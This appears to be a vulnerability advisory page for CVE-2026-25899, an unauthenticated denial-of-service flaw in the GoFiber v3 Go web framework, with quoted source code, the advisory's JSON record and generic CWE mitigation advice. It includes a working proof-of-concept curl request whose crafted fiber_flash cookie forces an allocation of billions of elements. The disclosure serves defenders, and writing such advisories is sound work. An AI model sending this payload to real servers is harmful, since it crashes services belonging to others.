Regardless of configuration, the flash cookie is checked:
func (app *App) requestHandler(rctx *fasthttp.RequestCtx) {
// Acquire context from the pool
ctx := app.AcquireCtx(rctx)
defer app.ReleaseCtx(ctx)
// Optional: Check flash messages
rawHeaders := d.Request().Header.RawHeaders()
if len(rawHeaders) > 0 && bytes.Contains(rawHeaders, flashCookieNameBytes) {
d.Redirect().parseAndClearFlashMessages()
}
_, err = app.next(d)
} else {
// Check if the HTTP method is valid
if ctx.getMethodInt() == -1 {
_ = ctx.SendStatus(StatusNotImplemented) //nolint:errcheck // Always return nil
return
}
// Optional: Check flash messages
rawHeaders := ctx.Request().Header.RawHeaders()
if len(rawHeaders) > 0 && bytes.Contains(rawHeaders, flashCookieNameBytes) {
ctx.Redirect().parseAndClearFlashMessages()
}
}
The cookie value is hex-decoded and passed directly to msgpack deserialization with no size or content validation:
https://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect.go#L371
// parseAndClearFlashMessages is a method to get flash messages before they are getting removed
func (r *Redirect) parseAndClearFlashMessages() {
// parse flash messages
cookieValue, err := hex.DecodeString(r.c.Cookies(FlashCookieName))
if err != nil {
return
}
_, err = r.c.flashMessages.UnmarshalMsg(cookieValue)
if err != nil {
return
}
r.c.Cookie(&Cookie{
Name: FlashCookieName,
Value: "",
Path: "/",
MaxAge: -1,
})
}
The auto-generated tinylib/msgp deserialization reads a uint32 array header from the attacker-controlled byte stream and passes it directly to make() with no bounds check:
https://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect_msgp.go#L242
// UnmarshalMsg implements msgp.Unmarshaler
func (z *redirectionMsgs) UnmarshalMsg(bts []byte) (o []byte, err error) {
var zb0002 uint32
zb0002, bts, err = msgp.ReadArrayHeaderBytes(bts)
if err != nil {
err = msgp.WrapError(err)
return o, err
}
if cap((*z)) >= int(zb0002) {
(*z) = (*z)[:zb0002]
} else {
(*z) = make(redirectionMsgs, zb0002)
}
for zb0001 := range *z {
bts, err = (*z)[zb0001].UnmarshalMsg(bts)
if err != nil {
err = msgp.WrapError(err, zb0001)
return o, err
}
}
o = bts
return o, err
}
where
zb0002, bts, err = msgp.ReadArrayHeaderBytes(bts) translates the attacker-controlled value into the element count and make(redirectionMsgs, zb0002) performs the unbounded allocation
So we can craft a gofiber cookie that will force a huge allocation:
curl -H "Cookie: fiber_flash=dd7fffffff" http://localhost:5000/hello
The cookie val is a hex-encoded msgpack array32 header:
- dd = msgpack array32 marker
- 7fffffff = 2 147 483 647 elements
Impact
Unauthenticated remote Denial of Service (CWE-789). Anyone running a gofiber v3.0.0 or v3 server is affected. The flash cookie parsing is hardcoded.
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/gofiber/fiber/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25899"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-24T20:57:25Z",
"nvd_published_at": "2026-02-24T22:16:31Z",
"severity": "HIGH"
},
"details": "### Summary\nThe use of the `fiber_flash` cookie can force an unbounded allocation on any server. A crafted 10-character cookie value triggers an attempt to allocate up to 85GB of memory via unvalidated msgpack deserialization. No authentication is required. Every GoFiber v3 endpoint is affected regardless of whether the application uses flash messages.\n\n### Details\nRegardless of configuration, the flash cookie is checked:\n\n```go\nfunc (app *App) requestHandler(rctx *fasthttp.RequestCtx) {\n\t// Acquire context from the pool\n\tctx := app.AcquireCtx(rctx)\n\tdefer app.ReleaseCtx(ctx)\n\n\t\t// Optional: Check flash messages\n\t\trawHeaders := d.Request().Header.RawHeaders()\n\t\tif len(rawHeaders) \u003e 0 \u0026\u0026 bytes.Contains(rawHeaders, flashCookieNameBytes) {\n\t\t\td.Redirect().parseAndClearFlashMessages()\n\t\t}\n\t\t_, err = app.next(d)\n\t} else {\n\t\t// Check if the HTTP method is valid\n\t\tif ctx.getMethodInt() == -1 {\n\t\t\t_ = ctx.SendStatus(StatusNotImplemented) //nolint:errcheck // Always return nil\n\t\t\treturn\n\t\t}\n\n\t\t// Optional: Check flash messages\n\t\trawHeaders := ctx.Request().Header.RawHeaders()\n\t\tif len(rawHeaders) \u003e 0 \u0026\u0026 bytes.Contains(rawHeaders, flashCookieNameBytes) {\n\t\t\tctx.Redirect().parseAndClearFlashMessages()\n\t\t}\n}\n```\n\nThe cookie value is hex-decoded and passed directly to msgpack deserialization with no size or content validation:\n\nhttps://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect.go#L371\n\n```go\n// parseAndClearFlashMessages is a method to get flash messages before they are getting removed\nfunc (r *Redirect) parseAndClearFlashMessages() {\n\t// parse flash messages\n\tcookieValue, err := hex.DecodeString(r.c.Cookies(FlashCookieName))\n\tif err != nil {\n\t\treturn\n\t}\n\n\t_, err = r.c.flashMessages.UnmarshalMsg(cookieValue)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tr.c.Cookie(\u0026Cookie{\n\t\tName: FlashCookieName,\n\t\tValue: \"\",\n\t\tPath: \"/\",\n\t\tMaxAge: -1,\n\t})\n}\n```\n\nThe auto-generated `tinylib/msgp` deserialization reads a `uint32` array header from the attacker-controlled byte stream and passes it directly to `make()` with no bounds check:\n\nhttps://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect_msgp.go#L242\n\n```go\n// UnmarshalMsg implements msgp.Unmarshaler\nfunc (z *redirectionMsgs) UnmarshalMsg(bts []byte) (o []byte, err error) {\n\tvar zb0002 uint32\n\tzb0002, bts, err = msgp.ReadArrayHeaderBytes(bts)\n\tif err != nil {\n\t\terr = msgp.WrapError(err)\n\t\treturn o, err\n\t}\n\tif cap((*z)) \u003e= int(zb0002) {\n\t\t(*z) = (*z)[:zb0002]\n\t} else {\n\t\t(*z) = make(redirectionMsgs, zb0002)\n\t}\n\tfor zb0001 := range *z {\n\t\tbts, err = (*z)[zb0001].UnmarshalMsg(bts)\n\t\tif err != nil {\n\t\t\terr = msgp.WrapError(err, zb0001)\n\t\t\treturn o, err\n\t\t}\n\t}\n\to = bts\n\treturn o, err\n}\n```\n\nwhere\n `zb0002, bts, err = msgp.ReadArrayHeaderBytes(bts)` translates the attacker-controlled value into the element count and `make(redirectionMsgs, zb0002)` performs the unbounded allocation\n\nSo we can craft a gofiber cookie that will force a huge allocation: \n`curl -H \"Cookie: fiber_flash=dd7fffffff\" http://localhost:5000/hello`\n\nThe cookie val is a hex-encoded msgpack array32 header:\n- `dd` = msgpack array32 marker\n- `7fffffff` = 2 147 483 647 elements\n\n### Impact\nUnauthenticated remote Denial of Service (CWE-789). Anyone running a gofiber v3.0.0 or v3 server is affected. The flash cookie parsing is hardcoded.",
"id": "GHSA-2mr3-m5q5-wgp6",
"modified": "2026-02-27T20:37:07Z",
"published": "2026-02-24T20:57:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gofiber/fiber/security/advisories/GHSA-2mr3-m5q5-wgp6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25899"
},
{
"type": "PACKAGE",
"url": "https://github.com/gofiber/fiber"
},
{
"type": "WEB",
"url": "https://github.com/gofiber/fiber/releases/tag/v3.1.0"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-4534"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Fiber is Vulnerable to Denial of Service via Flash Cookie Unbounded Allocation"
}
Mitigation
Implementation
Architecture and Design
Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.
Mitigation
Operation
Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.
No CAPEC attack patterns related to this CWE.